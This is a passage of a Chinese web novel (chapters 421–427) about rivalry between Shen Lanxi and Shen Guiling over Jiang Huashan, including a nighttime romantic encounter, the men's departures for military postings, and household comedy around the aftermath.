高止没想到姜花衫竟让自己送上门来了,顿时两眼放光,还没开口,书房的推拉门唰地打开,沈兰晞迈着宽步走了出来。 他眼神清冷,眸光落在姜花衫身上时,自觉收敛了几分,“你……找我?” “不是……”姜花衫正要否认,苏妙在后面戳了戳她的肩膀,姜花衫立马否认,笑着点头,“听说你马上就要出远门了,我来看看你。” 沈兰晞眼睑微动,状似不在意点了点,“进来吧。” 有戏! 苏妙暗喜,屁颠屁颠推着姜花衫往书房去,可没走几步就犯了难。沈兰晞的书房连着莲塘,池塘上只有一条半米宽的廊架,轮椅根本过不去。 姜花衫指着正厅,“要不,就去……” 她话没说完,沈兰晞从廊架走了下来,按住轮椅的固定轮,单膝半蹲,一手扶着脖子,一手搂着膝内侧把她抱了起来。 姜花衫吓了一跳,下意识攀着他的肩膀维持平衡。 她脸上有些错愕,清澈水灵桃花眼里都是他的倒影。 这下意识的动作让沈兰晞感受到了被依赖的感觉,他垂眸看着她,极黑的眸子里染上了不一样的情绪。 “廊架太小了,我抱你过去。” 他刻意解释了一句,手臂微微收紧,抱着她步入莲池。 姜花衫穿着翠绿色蚕纱裙,飘逸的轻纱随着莹白的脚踝在空中飘荡。 光是这个公主抱的背影就让这个夏天有了炫目的感觉。 苏妙半天才缓过神,我是谁?我在哪?我要干跟什么? 我罪该万死! 苏妙捂着脸颊缓缓吐了一口浊气,刚刚沈兰晞抱起姜花衫的时候,她竟然脸红心跳了。 “……” 兰园外,沈归灵站在花径小路,面无表情看着青纱裙摇摆,嫩如春葱的十指乖巧挂在平直的双肩上。 …… 第422章 又一条翘嘴鱼 高止被沈兰晞的开窍秀了一脸,正要跟上前忽然察觉到有人探视,他警惕瞪了回去,发现是沈归灵,二话不说跑到院门口,把另一半院门一并打开,顺便再好不得意朝沈归灵笑了笑。 就说菜鸡怎么一下开悟了,原来是遇强则强。 雷行小心翼翼站在沈归灵身侧,见高止如此猖狂,不免有些心疼沈归灵。 “少爷,我们回去吧?” 沈归灵眼里的温润褪得干干净净,幽深的眸子敛的冷光。 最终什么都没说,转头回了竹园。 高止豁然有种翻身做主人的畅快,顺手从行李箱里拿了一罐葡萄干,靠着窗台光明正大听起壁角。 另一边。 沈兰晞全然没有他表现的那么淡定,抱起姜花衫的瞬间,他心跳快得几乎要罢工。 他鲜少这么无措,但又不能被看出端倪,只能冷着脸目视前方。 连接池塘的窗户下摆着一张花梨罗汉床,沈兰晞把姜花衫放上榻时,脑子里忽然闪过那段缠绵悱恻的画面。 一时没忍住,他低头看向怀中的少女,想确认现在抱着的是梦里的魅还是真正的光。 低眉间,姜花衫正好抬眸,阳光透过纱窗跃上两人的眉骨,眉眼转圜间落上了一样的人间色。 沈兰晞眼睑颤动,几乎透明的睫羽像破茧的蝴蝶振了一下翅膀。 “兰晞哥。”苏妙没心没肺喊了一声。 沈兰晞停顿了几息侧过看向她,原本落在眉眼处的光影立时转移到了侧脸。 从苏妙的视角,沈兰晞左膝跪在榻沿,身体半倾,几乎是以掌控之姿把姜花衫藏在身下。 “……”苏妙傻呵呵笑了笑,“我们突然过来没有打扰你吧?” 沈兰晞双眸转深,他没有松手,半搂着姜花衫的肩,几乎不可察觉动了动眉梢。 “没有。” 这语调冷的能冻死人。 “……”苏妙和沈兰晞不是一个段位,有些扛不住他的气场,顿时觉得头皮发麻。 姜花衫皱眉,零帧起手,一把拽住沈兰晞的头发,“没有就没有,你凶什么?” 沈兰晞顶着一张天人贵胄的脸,被拽的直接来了个歪头杀,他有些无奈,护着自己的头发,“我没凶。” 确实没凶,正常交流。 苏妙愣了愣,沈家继承人的头发是说薅就能薅的吗? 不愧是面对周家老爷子都能贴脸开大的真汉子,这一刻她对姜花衫的虎胆龙威有了具象化的认识。 沈兰晞看了苏妙一眼,“高止,备茶。” “是~~~~”双手抱胸站在窗外的高止懒洋洋应了一声。 沈兰晞低头看着怀里的祖宗,“松手。” 姜花衫撇了撇嘴,用力拽了一把才脱手。 “……”沈兰晞闭了闭眼,一把扣住她的手。 姜花衫抬着下巴,挣脱他的手,有恃无恐晃了晃两只夹着钢板的腿,“是你说的,要是不高兴可以还回来。” 沈兰晞眼神变了变,他给她的道歉信里的确说了,要是觉得疼,不高兴,他愿意受她三枪。 她真的看了他的信。 高止没有胡说。 沈兰晞眼里落下带着潮气的微光,起身走到书桌前,一副矜贵自持的模样。 “找我有事?” 苏妙立马跑到姜花衫身边,悄悄给她使了个眼色:别把人得罪惨了,不然还怎么求他办事? 姜花衫只当没看见,张口说道,“听说你要出远门了,我特意给你准备了点东西。” 沈兰晞略有些意外,“你……给我准备了东西?” “是啊。”姜花衫拉了拉苏妙。 苏妙当即反应过来,起身跑出书房。 沈兰晞已经猜到她们打的什么主意,捏了捏眉心。 等待的过程有些漫长,姜花衫没什么话说,百无聊赖玩起了手。 她侧卧在榻上,青纱贴着曼妙的身躯,随意呈现的弧线,即使他下笔千次也无法勾勒。 浮光落在窗前,她在眼前,梦里的魅开始叫嚣。 沈兰晞忽然觉得有些热,眼神不受控制看向榻上,怕她察觉什么,看了一眼又匆匆瞥过,如此反复,一遍又一遍。 终于,姜花衫有些忍不住了,抬头,冷白皮在暖光里蒸出玉器温润的釉色,“沈兰晞,你鬼鬼祟祟到底在看什么?” 沈兰晞一时哑火。 摄人心魄的精魅挖走了他的心,还一脸懵懂问他,这是你的心吗? 沈兰晞看着她不染纤尘的桃花眼,心里一个疯狂的念头在叫嚣。 告诉她,这是你的心。 问问她,要不要吃? “我……”他有些不安交叠双手,指尖无意摸索着手腕上的红绳,“我……” 高止两颗死鱼眼顿时发射出夺目的光彩,反身将耳朵贴着窗沿,菜鸡要开大了?! “我来了!!!” 苏妙大喊一声,气喘吁吁推着两个行李箱窜进了书房。 霎时,窗外送进一股带着热潮的风。 高止趴在窗下,恨不得把苏妙拖出来揍一顿。 姜花衫立马被转移了注意力,“你怎么自己推?也不叫他们帮忙?” “没事。”苏妙摆摆手,“凡事亲力亲为,我都习惯了。” 沈兰晞低头,将摆的整整齐齐的笔砚又整整齐齐摆了一遍。 苏妙有事相求,脸上的笑就没有落下过,“兰晞哥,这就是我们准备的东西。” 沈兰晞看了姜花衫一眼,“不是说给我吗?” 苏妙拖进来的两个箱子,一个贴满了贴画,一个挂满了公仔,一看就是给女生准备的。 怎么回事? 她竟然在冰山雪莲里看见了一抹哀怨,雪莲什么时候学会哀怨了? 姜花衫顶着一脸困惑,骗鬼的话张口就来,“真的是给你准备的,但既然不适合,就麻烦你帮忙转交给周绮姗了。” 沈兰晞,“……” 苏妙愣了愣,说的这么直白,就不能委婉一下,没看见太子哥都变脸了? 沈兰晞盯着两个箱子看了一眼,“313师一共有六个团,我去的是总师,未必能碰上周绮姗。” 苏妙有些失望,推着箱子准备走。 沈兰晞又看了榻上的祖宗一眼,“留下吧,我想办法。” 苏妙登时眼神一亮,反身又把两个箱子推了回去。 姜花衫皱眉,“不是说碰不上吗?你能有什么办法?” 沈兰晞,“周琦姗应该是在新兵营,新兵是没有资格去总师的,但我可以在报到之前去一趟新兵营。” “去新兵营?”苏妙一脸震惊,“不是说313师不对外开放吗?兰晞哥你的调令是总师,应该就只能去总师吧?” 换作以前,沈兰晞根本不屑解释,但现在他唯恐有人不知道他的好,故作不经意,“我父亲曾任313总师,六个师团的团长与我父亲都有故交,我以故友家属身份拜会,那些叔伯们没有不接待的道理。” 沈兰晞这话说的很隐晦,苏妙同在顶级家族自然明白他这话的含金量。 没有不接待的道理,实则是不得不接待。 鲸港人人都在传沈兰晞就是313师的少主,等他长大,这支足以让任何资方都闭嘴的蛟龙将会再次受沈家驱使,这是沈玺以死代价为沈兰晞争取的荣耀。 原本苏妙还以为这传言不过是外人忌惮沈家的无稽之谈,现在看来,倒是有迹可循。 原来真正的权力也分三六九等,有人一生向罗马,有人出生就在罗马,而有人出生即是罗马。 苏妙内心唏嘘,由衷赞叹,“兰晞哥,你好厉害。多谢你!你可帮了我一个大忙。” 沈兰晞故作矜持抬了抬下巴,眼梢不觉有往窗下瞥去。 她会不会觉得他这样太轻浮了,一点事都藏不住? 姜花衫笑了笑,眼里多了几分认真,故意说道,“厉害就对了,兰晞哥可是我们沈家最厉害的,对不对啊,兰晞哥?” 沈兰晞心头荡起一丝异样,翘起了嘴角。 …… 第423章 你玩我 苏妙推着姜花衫出兰园的时候,心里还在纳闷。 沈家的太子哥这么不经夸的吗?她怎么感觉姜花衫说出最厉害三个字的时候,要是给沈兰晞一根尾巴,他能开心地摇起来。 忽然,脑海里又闪过浮光下,榻上两道身影叠覆的场景。 苏妙的眼神顿时有些怪异,“衫衫……” “嗯?”姜花衫抬起头,眼神清澈干净。 “你有没有觉得……”苏妙顿时脑子刹车,暗骂了自己一声。 她在想什么呢? 一个清冷如雪品行高洁,一个炽热如火明媚坦荡,她怎么能有这么龌龊的想法? 苏妙摇了摇头,“没什么,今天的事谢谢你,要不是你兰晞哥也不会帮忙。” 姜花衫摆摆手,“跟我客气什么?晚上一块吃饭?” 苏妙愣了一下,双手抱十略有些歉意,“今天不行,我约了人,改天?” “你约了人?谁啊?除了我们现在还有人愿意搭理你?”姜花衫一脸不信。 苏妙眼神闪烁,“不重要的人,以后再找机会跟你说。” * 鲸和医院。 沈清予半靠着软枕,颇有闲情逸致,给削好的苹果做了只可爱的兔耳朵。 沈渊远远坐在沙发一角,脸色沉如锅底。 “我刚刚说的话你到底听见没?沈兰晞去了313师,就连沈归灵都被安排去了南湾舰,照这么下去,沈家哪还会有你的位置?” 沈清予,“没有就没有,正好自立门户。” “什么自立门户?”沈渊气的额角发胀,“你是诚心想气死我是不是?他们如今都有了去处,就你在医院躺着?你就没有想法吗?” “沈兰晞能去313师是因为人家有个金枪上将的父亲,沈归灵能去南湾舰也是因为他有个议员长的父亲。”沈清予嗤笑了一声,意味深长看向沈渊,“而我之所以躺在这里,正是因为有你这么个倒霉催的祸害。” “种瓜得瓜种豆得豆,我都不怨你怨什么?” “你!” 沈清予刀刀往沈渊肺管子戳,气得沈渊恨不得当场去世。 骂不赢,只能强行喝了一杯水让自己冷静下来。 “昨天,顾家老太太来看你了?” 沈清予给了个白眼。 沈渊自己消化,又继续说道,“她对你倒是挺上心,但顾家终究是顾赐丰说的算。” 沈清予不接话。 沈渊故作不经意,“我瞧着跟老太太一起来的小姑娘有些眼生,你们什么时候认识的?” 沈清予多了几分不耐,“装什么?但凡接近我的人,你哪个不是祖宗十八代都调查清楚的?” “……”沈渊闭了闭眼,索性开门见山,“如今西湾海贸正是风口,蓝家祖辈都在西湾,你若娶了蓝家的女儿,蓝家全族必定为你效力,等你拿下西湾,沈家还有谁敢看轻你?” 沈清予,“我对什么蓝小姐绿小姐没兴趣。” 沈渊终于咬牙,“只是让你娶她,你要是不喜欢,结了婚一样可以找你喜欢的。” 沈清予指尖一顿,狭长的丹凤眼带着几分凌厉,“沈渊,你给我听着,我对你所有的规划都没兴趣,以后少在我面前指指点点,那一枪之所以没崩了你,我是给爷爷面子。” 沈渊站起身,“清予,你非得这么跟我说话吗?” 沈清予笑了笑,“你非得卖老子吗?” 沈渊,“……” * 晚间,月亮爬上树梢,一抹销纱落在窗台。 “张妈~” 姜花衫一觉睡到现在,脑子有些懵,见窗前朦朦胧胧站着一道身影,侧头埋进枕间,慵懒不清喊了一声。 那人没有应。 她趴在枕间,揉了揉眼睛,“张……” 还没来及得张口,她的嘴忽然被捂住了,滚烫的掌心几乎把她烫醒了。 姜花衫立马瞪大了眼睛。 沈归灵?! 她转头看向窗台,窗扇敞开,看来是有人又爬墙了。 姜花衫顿时无语,张口就要咬。沈归灵却早预判了她的动作,指尖捏着她的脸颊,虎口顺势托住她的下巴。 一咬落空。 姜花衫愣了愣,张口又要喊。 “嘘~”沈归灵低着眉眼,用大拇指抵住她的唇,“最好不要喊,不然……” 不然什么? 敢威胁她?姜花衫丝毫不在意,“张……” 沈归灵翻身上床,扣着她的手摸进自己的衣襟。 “不然我就跟爷爷说,你玩我。” “!?” …… 第424章 我不要你负责 清风拂过缠绕的枝蔓,耳边传来花枝颤动的沙沙声。 指尖的触觉突然被放大无数倍,那覆在皮肤下的肌肉硬得发烫。 姜花衫澄净的眸底被搅开一圈圈水纹,她难以置信看着眼前的疯子。 “你说……说什么?” 沈归灵低头,扣着她的手腕从腰身划到下腹。 这短短十厘米的游走,险些崩断了他脑子里的那根弦。 “你要是敢喊,我就跟爷爷说,你觊觎我,逼我就范,仗着自己不能动,想……” 沈归灵顿了顿,他耳尖通红,但眼神却厉的勾人,“想玩我……” 姜花衫怔愣了。 男女之事,她上一世加这一世都是空白,虽说这几年沈娇请的老师教了不少,但毕竟都是纸上谈兵,没有实战经验,碰见沈归灵这么不要脸的立马崩盘。 最气的是,她竟然真的心虚了,不管沈归灵说什么,她都有自信爷爷不会偏信,偏偏这件事,她还真没自信爷爷会相信谁? 毕竟她不靠谱的人设就摆在那。 “……” 她迟疑了。 狡猾的猎人最善观察,姜花衫的犹豫给了沈归灵莫大的自信,他努力忽视要烧起来的耳朵,像条得寸进尺的环蛇,一点一点靠近。 “沈兰晞有什么好的?招惹了我还不够?” 姜花衫脑子一嗡,“你胡说八道什么?” 她这辈子最不想的就是再跟沈兰晞有什么瓜葛,只要不要重复订婚的剧情,沈兰晞和爷爷就永远不会有隔阂。 沈归灵盯着她的眼睛,见她眼里满是抗拒,深思了片刻伏低吻了吻她的下巴,“沈兰晞古板无趣,他根本不懂你,他也不会由着你胡闹。” 姜花衫垂着眼斜睨他,“沈归灵,三岁小朋友才在背后说人家坏话。” 沈归灵丝毫不在意,眸光敛着暗涌,深邃夺人,握着她的手划向腰侧硬邦邦的人鱼线。 “但我不一样,我比他有趣多了。”他抬手搂着她的脖子,扬起脸贴着她的额头,“我什么都可以给你,我也可以。” “簇——” 识海夜幕下的剧目之门忽然爆发出璀璨的绿光,缠绕如水草招展的藤蔓忽然被唤醒了意识,不停伸向无尽的深渊,绿叶慢慢舒展冒出一朵朵小花苞。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.9nnn9%】 “……” 姜花衫眨了眨眼,睫毛轻轻蹭过沈归灵的鼻尖。 这么近的距离,彼此眼里的心思根本藏不住。 姜花衫侧过脸,挣脱他的手点了点他几乎要滴出血的耳朵。 “沈归灵,害羞就不要学别人勾引人。” 指尖的凉触上耳尖的烫,就像山体共振,火山终于有了爆发的理由。 沈归灵眼神骤暗,一手扶过她的脸,“不是害羞,是心动。” 吻带着火山灼烧的热流,一发不可收拾。 姜花衫愣了愣,还没反应就被他撬开的牙关。 这狗东西学什么都快,明明大家接吻的次数都一样,但他却已经是调情高手。 这个亲吻不仅仅是吻,带着讨好,暗示,还有极其隐晦的色欲。 姜花衫抬了抬下巴想拒绝,察觉到她的意识,沈归灵主动停止了亲吻,用鼻尖蹭了蹭她的嘴角,“甜不甜?来之前我喝了三杯橙汁。” 带着清新甜口的橙香在舌尖绕开,姜花衫故作淡定,靠着床被,居高临下看着他。 沈归灵原本就长的好看,被吻过之后整个人带着极具攻击的张力,尤其他的眼睛,染上情欲后放荡又色气,漂亮得不像话。 他这样,真的很诱惑。 终于明白,为什么一大堆富婆愿意给男人花钱了。 沈归灵这样的,大概能骗的人家倾家荡产下。 但,她不一样! 她…… 沈归灵看出了姜花衫眼里的拒绝,直起上身,勾着她的脖子轻轻落在脖颈处,鼻尖沿着细小青筋一路往上,闭着眼撩开碎发,灼热的吻落在的耳侧。 姜花衫身子莫名颤了颤。 沈归灵抬眸,眼里的虹光透着一抹兴奋,抬起腰身贴着她的肩膀,搂着脖子的手一点一点往发缝里摩擦。 他的耳朵比吻还烫,像一块熔岩擦着姜花衫的侧脸。 “这……” 这是怎么回事? 明明之前接吻的诱惑还在承受范围之内,怎么这会儿身体突然发麻了?! 姜花衫意识到情况不对,抬手抵着沈归灵的肩膀想把他推开。 沈归灵却好像误会了意思,另一只手扣着她的手探进自己的衣缝。 “摸这里。” “……谁要摸你?” 她全身都烫,烫的口干舌燥。 沈归灵抬眸,红唇度着蜜色,“我不跟爷爷说,也不要你负责,要是被人发现我就说我是自愿的。” “……”姜花衫眼皮跳了跳,用力抓了一把硬邦邦的腰身。 沈归灵闷哼了一声,用力按住她的手,把脸埋进她的青丝里。 姜花衫上半身几乎陷进了软靠,沈归灵背身却如一张蓄满力量的弓。她挣脱他的手,攀上他的肩,想推开最后却陷进了他精心布置的网罗里。 沈归灵太可怕了,他几乎是看透了她。 上一世,她被踩进泥泞,是所有人不耻的恶毒女人,是沈兰晞宁愿死也不愿碰的噩梦,不管这一世如何,她心里始终不相信除了爷爷还有人会喜欢她。 她的坚韧和强大只止步于,她不会觉得自己不好或者不值,但对于别人的喜欢,她一直都保持着警惕的防备。而沈归灵不一样,他有数据支持,所以她从未怀疑过。 她不介意被喜欢自己的人勾引,大概是因为他的喜欢有99分。 纤细的指尖攀着宽阔的肩膀,在平整的白色衬衣下留下乱七八糟的抓痕,沈归灵被取悦了,偏头咬住她的嘴角吻了进去。 她喜欢被亲耳朵,但他更喜欢跟她接吻。 姜花衫闭着眼,手臂无力垂落枕间,沈归灵不满,一心二用,拉着她的手搭在肩上。 “我不停,你不许放下来。” “不然,我就告诉爷爷,你欺负我。” “……” 她气的张口想咬,下一秒又被堵住了嘴。 …… 第425章 弯腰、低头、先哄 月季迎着月色,在无人阒静的夜晚独自绽放,花香裹挟着晚风肆意流转。 菊园侧面,雷行躲在堆放红砖的角落,第一百零八次掏出怀表。 “三点了,阿灵少爷怎么还不出来?这都上去五个小时,不管做什么都够了!” “呸!”意识到自己道德开叉,雷行强行扭转,低头扇了自己一嘴巴。 他在想什么了?阿灵少爷肯定是因为马上要去南湾了,所以才想来跟姜小姐道别。 说不定是姜小姐有什么课题不会做,阿灵少爷在给她指导作业。 他不该以成年人的龌龊思想去揣测少年的纯爱。 刚劝好自己,雷行默默把怀表揣进兜。 又过了一分钟,他眉毛开始拧动,有些不自信看向二楼的木。 屋里早已熄了灯,窗扉被风吹的摇摇晃晃不时发出嘎吱声。 “……” 乌漆嘛黑的,指导什么作业啊!!! 雷行再不能骗自己,泪流满面掏出怀表死死盯着上面的时间。 又过去两分钟了,阿灵少爷到底在做什么啊? “嘎吱——” 这时,二楼窗户终于有了动静。 但见一道矫健的身影从窗台翻出,单手挂在沿壁,腰身如满弓在空中腾跃,脚尖踩着垂直的墙壁借力跳下草地,连滚了几圈才稳住身体。 “少……”雷行一脸激动,险些失声,赶紧捂着嘴巴跑上前,小声道,“少爷,您没事吧?” 沈归灵站起身,低头拍了拍肩上的杂草,声音暗哑,“没事。你怎么会在这?” 雷行有些心虚,左右看了看,“我怕您被发现,所以在这盯着,万一有人来也可以报个信。” 沈归灵侧头看了他一眼,雷行脑子难得多转了转,立马补充,“少爷,我还没有想好。” 他的道德不允许他知错犯错。 沈归灵嗯了一声,抬步往竹园去。 雷行面露古怪,也不知是不是他的错觉,总觉得少爷有点不对劲。 他刚出门那会,整个人就像把刺头尖刀,现在,刀刃被磨平了不说,好像多了种说不出的味道。 雷行不知道有个词叫骚,他想了半天觉得是MAN。 沈归灵回到竹园直接进了卧室,雷行有些不放心,一路跟进了屋。沈归灵也没什么反应,拿了一套宽松的睡衣直接进了洗漱间,没一会儿,浴室里传来哗啦呼啦的冲水声。 “!” 雷行原本还安慰自己,说不定两人开着台灯写作业,现在看沈归灵洗澡,只觉天都塌了! 少爷出门前是洗过澡的,他还喝了三杯橙汁,现在又洗…… 雷行心情沉重,眼里渐渐无光。 沈归灵在浴室足足待了近一个小时,出来时眼尾挂着猩红,整个人氤氲在水汽里,潮湿又色气。 “……”雷行从未见过沈归灵这一面,更加印证了心中的猜想,他有些绝望递上毛巾,“少爷。” 沈归灵看了他一眼,接过毛巾挂在脖子上,“你有话说?” 雷行犹豫着点头,“我现在虽然还没有决定,但是如果你和姜小姐有了孩子,我愿意带孩子。” “……”沈归灵挑了挑眉。 雷行,“毕竟孩子是无辜的。” 沈归灵沉默片刻,按了按额角,“没有孩子。” 没有孩子? “少爷,要是没有孩子我就去休息了。” 雷行是个认死理的人,他认定沈归灵已经在背德的不归路越走越偏,所以没有孩子不等于少爷什么都没做,而等于少爷做了措施。 沈归灵嗯了一声,雷行迈着沉重的步伐退出了房间。 房门落锁的瞬间,沈归灵闭眼倒头栽进身后柔软的大床,水珠沿着湿润的发梢一点一点浸湿了身下纯黑的蚕丝被,这一刻他脑子里都是姜花衫被亲吻时的反应。 沈归灵侧过头,将脸埋进丝被。 沈兰晞出身高位,若是跟他比权势,短时间内他没有赢面。 可是……他一刻都不想输。 所以他做了一个决定,高位者不会弯腰,他要给姜花衫,沈兰晞给不了的东西。 他先弯腰,他先低头,先把人哄过来。 沈归灵敛着眸光,轻轻摸着嘴角,舌尖酥麻的触感仿佛一下回到了交织的顶峰。 * 窗台的轻纱镀上白霜,散发着花香味的房间里只有姜花衫清浅的呼吸声。 她侧身躺在床上,单手捂着眼睛,锦被挂在腰窝。 “是他自己说的,不用负责的……” * 一夜无眠,太阳照常升起。 菊园侧门,被压平的小草迎着朝露努力生长;花架下,小可怜躺在阴凉里撩着肚皮晒太阳。 有人推开院门走了进来,途经花架的时候,点着它的肚皮转了个圈。 小可怜一脸懵逼,伸出头想看看是谁?不想世界突然舞动起来。 “……”龟无语。 张妈听见动静,从厨房走了出来,看见来人亲切笑了笑,“阿灵少爷,您又来看小姐吗?不巧啊,小姐早上才睡下,这会儿肯定没醒。” 沈归灵往绣楼看了一眼,眉眼温润,“我知道。张阿姨,麻烦你把这个交给她。” 张茹擦了擦手,双手接过黑色的锦盒,“阿灵少爷,您要去南湾了?” 两位少爷要去军队历练的事沈园上下都知道,大家谈论起二人都是与有荣焉。 沈归灵点了点头,转身出了院子。 张茹看着日光下丰神俊朗的背影,啧啧摇头,“阿灵少爷真是来越有出息了,也不知道以后会便宜哪家姑娘?” 正唏嘘,她忽然一愣,后知后觉,刚刚阿灵少爷说什么?我知道?他怎么知道小姐昨晚什么时候睡的? 艳阳穿过层层叶缝,微风荡起浮金碎影,小可怜停止了转圈,瞪大了眼睛打量着上下颠倒的世界。 * 沈归灵这次出行阵仗很大,沈谦派了不少心腹前来接送,莫然也在其中。 高止站在桂花树上,亲眼看见沈归灵被众星拱月送出内院。 “少爷少爷!”他兴高采烈跳下树,从窗户窜进书房。 “沈归灵走了,以后整个后宫就是你说的算了。” 沈兰晞抬眸,“后宫?” …… 第426章 一百个差遣的权利 以沈兰晞刻板的世家观念,自然是不能接受这等伤风败俗的形容。 高止见他眼神挂满冷霜,心知菜鸡生气了。 他眼神瞟了瞟,“少爷,您要是喜欢的是倾心您的人,您这么端着肯定没毛病。但……您偏偏喜欢的能拿捏您的,你要还端着,到嘴的肉都会被老鹰叼走。” 沈兰晞懒得理会,低头看书。 高止怒其不争,一把抢过他手里的书。 “少爷,我可提醒您,您别看姜小姐这人疯疯癫癫,阴险狡诈,她实际可会招蜂引蝶了。” “现在外面那些臭男人花样多,哪个不比你会哄人、会疼人?” “说实话,少爷您除了长的好看,有点权势之外真没什么优势,可姜小姐背靠幺小姐,根本不愁没钱花。说到权,只要老爷子在一天,您说不定还比不过她呢。” “……”沈兰晞面无表情看着高止。 这些话句句扎心,他竟不知,原来自己这么拿不出手。 沈兰晞沉默片刻,冷着脸从高止手里拿回书,“出去。” 油盐不进。 高止没好气在心里翻了个白眼,从窗下跳了出去。 * 姜花衫睡到日上三竿才起。 她做了一个很长的梦。 梦里,沈归灵幻化成了一只蛇妖,一边勾缠着她,一边吻她,然后一遍又一遍重复,我是自愿的,我不要你负责。 蛇尾撩进她的下摆时,她就醒了。 吓醒的。 姜花衫单手捂着脸,缓了好一会儿,才闻到了久违的花香。 她慢慢从梦境里分离,撑着手掌慢慢坐了起来。 午间阳光正盛,带着热气的夏风抚弄花香吹进小屋,昨晚意乱情迷的荒唐好似也是一场梦。 姜花衫抓了抓头发,青丝凌乱散落在枕间,比头发更乱的是她身下的丝被,皱成一条条好不浪荡。 “……” “小姐。” 正懊恼,张茹叩响了房门。 “您醒了吗?” 姜花衫立即整理头发,清了清嗓子,“醒了。” 为免露出什么破绽,她又刻意拍了拍皱巴巴的床单。 张茹推门而入,脸带笑意,“还不起来?太阳都晒屁股了?” 往日她都是等姜花衫睡到自然醒,但今天姜花衫比往常晚了三个小时还没出来,张茹担心她睡懵难受,才特意进屋喊人。 第一次做坏事,姜花衫难免有些不自然,支吾点了点头。 张茹走到床前,拿着手里的锦盒递上前,“小姐,这是阿灵少爷给你的。” 姜花衫瞥了一眼,“他……他又来了?” 张茹不懂这个‘又’的含金量,只当姜花衫又作性子了,温声劝道,“小姐,阿灵少爷已经出发去南湾了,这是他送给您的礼物,阿灵少爷也不容易,我看他对小姐挺好的,小姐可别每次都不给人家好脸色。” 说着又笑着把锦盒放进姜花衫手里,“打开看看?兄妹之间不是应该和睦相处吗?” 说到兄妹两个字,姜花衫没忍住,嘴角抽了抽,抬手捞起垂落的刘海笑了笑。 张茹忽然脸色一变,“小姐,你的脖子!怎么青一块紫一块的?” 姜花衫愣了愣,突然反应过来,一手捂着脖子,“是吗?” 张茹有些紧张,弯着身子想看清楚一点。 姜花衫呵呵笑了两声,故意挠了挠脖子。“我说呢,起来的时候就感觉这里好痒,估计是被虫咬了。” “虫?!”张茹不疑有他,起身看了看四周,待看见梳妆间的窗户敞着时,眼神凝重,“夏季虫蚁多,咱们院里又都是花草,指不定是昨天飞进了什么脏东西?” “……”姜花衫呵呵笑了两声。 张茹脸色严肃,“小姐,我去请孟医生过来看看,女孩子的皮肤最是娇嫩,马虎不得,要是落了疤可就麻烦了。” 孟医生要来了,她岂不是就穿帮了? 爷爷要是知道了,她的脸就丢完了,毕竟昨晚她是真的没忍住诱惑。 “不用了!”姜花衫一把拖住张茹,“我好像又不痒了,估计就是蚊子,过几天就消了。” “可是……”张茹不放心,“那斑斑点点不像是蚊子,倒像是……” 像什么来着?一时没对上号。 “唉哟!”姜花衫生怕张茹想到什么,捂着肚子,“张妈,我好饿,睡了一天肚子都空了,有没有吃的?” 一说到食物,张茹当即被转移了注意力,“对对,瞧我这记性,今天做了早茶点心,不管怎么样,先吃饱最重要。”说着,急冲冲跑出了房间。 姜花衫探着脖子,确定张茹下了绣楼后,立马拿起手机打开前置摄像。 “嘶……” 她原本就白,身上落下一点印子便特别明显,红痕从两边耳侧一直延伸到两侧的锁骨,触目惊心。 连这样张茹都没发现,她真是走狗屎运了! 姜花衫默默将头发拢到胸前。 “狗东西。” 大热天的也不能带围巾,这么出去一定会被发现,看来印记消退之前她只能躲在房间里哪都不能去了。 姜花衫有些懊恼,恨自己竟然这么不争气,鬼迷心窍着了沈归灵的道,抓起怀里的锦盒丢了出去。 盒子落地,分开两半,夏风吹起,满盒子的书签被吹散落了一地。 一个书签是一个要求,他用花瓣做笺,又许了她一百个差遣他的权利。 …… 第427章 欲加之罪 下午,沈庄得知姜花衫被虫咬的事,立马让负责园林的管事把菊园上下都清理了一遍。 孟医生来了两次,但姜花衫不是在洗澡,就是在上厕所,最后不得已,只能根据张茹的口述,开了些消炎杀菌的药膏。 晚间,沈兰晞特意带了礼物看望,却被告知姜花衫刚刚换了药,人不舒服不方便见客。 沈兰晞恪守礼节,不疑有他,留下礼物便也没有打扰。 第二天,他特意选在姜花衫清闲的时候上门,但还是被她以不方便见面为由拒之门外。 沈兰晞依旧什么都没说,转头回了兰园。 高止看着两次败兴而归的菜鸡,脸上面无表情,但心里却乐开了花。 该! 又菜又不听劝,活该! 沈兰晞神色淡然走进书房,如往常一般坐在榻上看书。 他低垂着眼睑,指尖摩挲书册,大约过了十分钟,眼睛还是盯着最开始的一行字。 沉默半晌,沈兰晞合上书,抬眸看向躺在窗台的高止。 “她为什么突然不见我?之前不是还好好的?” 高止双手抱胸,挑着眉梢斜睨,“少爷,您问我?” 沈兰晞沉眼。 高止心咯噔了一下,立马跳下窗台,爬上榻与沈兰晞对坐。 “少爷问的好,之前好好的,怎么突然不见,当然是有人挑拨离间了!” 沈兰晞皱眉,一副不太相信的模样,“沈归灵?君子之争,他应该不至于。” “……” 高止瞪大了眼睛,仿佛听到了什么天大的笑话,一脸怪相,“君子之争?少爷,您到底喜不喜欢姜小姐?还是,您根本不知道什么是喜欢?” 沈兰晞思忖了片刻,抬眸看着高止,没有接话。 高止轻咳了一声,从兜里取出墨镜戴上,故作高深,“少爷,若是有人胆敢觊觎先生留给您的东西,您还会继续守着您的君子之道吗?如果,您对姜小姐的喜欢是君子之道,那您或许是误解了自己的心意。” 沈兰晞依旧不语。 高止用食指勾下墨镜,眼神意味深长,“您其实并没有多喜欢姜小姐。” 沈兰晞,“出去。” 高止愣了愣,话才说到一半怎么突然赶人了? 沈兰晞重新打开书,周身散发出生人勿近的冷漠。 高止有些摸不着头脑,但他知道沈兰晞的性格,不敢再挑衅,收敛神情小心翼翼退出了书房。 出了房间,他仍心有余悸,悄悄躲在桂花树下偷偷观察沈兰晞。 不是,刚刚到底是哪句话说错了? * 菊园侧门终于开始动工,师傅们砸的砸墙,砌的砌墙,忙得不亦乐乎。 姜花衫坐在梳妆台前,听着窗下的喧闹,认认真真给自己的脖子上药。 被亲得天天涂药,这遭遇也是没谁了。 张茹对她不给孟医生进屋一事心有不满,唯恐她疏忽留疤,天天盯着她换药,为了不被发现,她每次只能在张茹插手干预之前,先把药涂好。 原本她还想缠一圈绷带去园子里转转,但天气越来越热,她受不了这罪便只能作罢。 楼下,张茹抱着刚洗好的被子在院里晒太阳,虽说菊园有专门的洗衣房,但她每次都会赶在日头好的时候把院里所有的床单都晒一遍,这一点时常让姜花衫想起淮城的奶奶。 张茹刚忙完手里的活,又跑进厨房端了一碗冰绿豆汤圆,正要上楼,沈执推门走了进来。 “沈管家。” 